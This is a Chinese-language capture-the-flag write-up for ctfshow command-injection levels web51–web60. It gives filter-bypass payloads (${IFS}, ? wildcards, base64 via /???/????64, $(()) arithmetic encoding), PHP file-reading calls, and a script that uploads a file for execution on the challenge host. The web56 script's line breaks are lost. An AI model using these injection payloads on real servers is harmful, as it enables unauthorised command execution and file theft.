web51
分析代码

分析tac被禁用了,使用nl代替
?c=nl<fl\ag.php||ls

web52
分析代码

发现<被过滤了,使用${IFS}代替
?c=nl${IFS}fl\ag.php||ls
注意这关的flag不在flag.php里面,就在flag里面,所以要查看/flag,不要.php,前面加"/"好
?c=nl${IFS}/fla''g||ls

web53
分析代码

?c=nl${IFS}fla\g.php

web54
分析代码

过滤了很多命令,发现没有过滤?,可以用?模糊匹配
?c=/bin/ca?${IFS}f???????
加/bin是为了匹配到cat,不加路径就匹配不到cat

web55
分析代码

发现过滤了字母,但是没有过滤数字,和上一关一样使用?模糊匹配
?c=/???/????64 ????.???

解码得到flag

web56
分析代码

这次数字也被过滤了,写一个脚本
点击查看代码
import time
import requestsurl = "http://db30142e-7c2b-406d-b804-560d22e9060e.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}with open('.\\1.txt','r') as file:files = {'file': file}while 1:r = requests.post(url,params=payload,files=files)if r.text:print("\n" + r.text)breaktime.sleep(1)print(".", end=' ',flush=True)
1.txt里面写需要执行的命令

具体原理:https://www.cnblogs.com/FallenStar/articles/16834476.html
web57
分析代码

发现flag在36.php里面,数字被禁用,现在需要用符号构造36出来,需要用到Linux下的知识:
$(())=0
$((~$(())))=-1
$(($((~$(())))$((~$(())))))=-1-1=-2
取反的公式为:~x=-(x+1)
所以想要得到36就需要对-37取反
$((~$(())))里面需要包裹37个$((~$(())))
用python写一个脚本
点击查看代码
a="$((~$(({}))))" # 取反操作
b="$((~$(())))" # -1
payload = a.format(b*37)
print(payload)

web58
分析代码

发现system()、passthru()等都被禁用了,网上搜了一下,可以使用
c=readfile('flag.php');
c=show_source('flag.php');
c=echo file_get_contents("flag.php");
c=var_dump(file('flag.php'));

web59
分析代码

跟上一关一样,使用c=show_source('flag.php'); 获得flag

web60
分析代码

还是和上一关一样c=show_source('flag.php');
